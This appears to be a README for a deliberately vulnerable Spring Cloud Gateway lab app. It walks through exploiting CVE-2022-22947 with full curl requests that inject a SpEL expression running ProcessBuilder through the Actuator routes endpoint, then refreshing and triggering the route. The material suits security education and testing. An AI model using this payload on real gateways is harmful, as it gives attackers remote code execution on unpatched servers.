
一个由AI生成的漏洞验证应用
Это приложение Spring Cloud Gateway, специально разработанное для демонстрации и проверки уязвимости CVE-2022-22947. Приложение использует уязвимую версию Spring Cloud Gateway, позволяющую выполнять произвольный код через конечные точки Actuator.
CVE-2022-22947 — это уязвимость удалённого выполнения кода в Spring Cloud Gateway. Злоумышленник может динамически добавлять маршруты, содержащие вредоносные выражения SpEL, через конечные точки Actuator и выполнять произвольный код.
mvn spring-boot:run
Приложение запустится по адресу http://localhost:8080.
Отправьте POST-запрос на конечную точку /actuator/gateway/routes/test, чтобы добавить маршрут с вредоносным выражением SpEL:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
Отправьте POST-запрос на конечную точку /actuator/gateway/refresh, чтобы обновить маршруты:
curl -X POST http://localhost:8080/actuator/gateway/refresh
Перейдите по вредоносному маршруту, чтобы выполнить код:
curl http://localhost:8080/test
При успешной эксплуатации уязвимости на macOS откроется приложение «Калькулятор».
Конечная точка: POST /actuator/gateway/routes/test
Заголовки:
Content-Type: application/json
Тело запроса:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
Конечная точка: POST /actuator/gateway/refresh
Конечная точка: GET /test
Уязвимость позволяет злоумышленнику динамически добавлять маршруты через конечные точки Actuator и использовать выражения SpEL в фильтрах маршрутов для выполнения произвольного кода. Основная проблема заключается в некорректной обработке выражений SpEL в конфигурации маршрутов Spring Cloud Gateway.
⚠️ Предупреждение безопасности: Это приложение предназначено только для образовательных целей и исследований в области безопасности. Не используйте и не развёртывайте его в рабочей среде.
⚠️ Правовое заявление: При тестировании уязвимости с помощью этого приложения убедитесь, что у вас есть соответствующие разрешения. Несанкционированное тестирование может нарушать законодательство.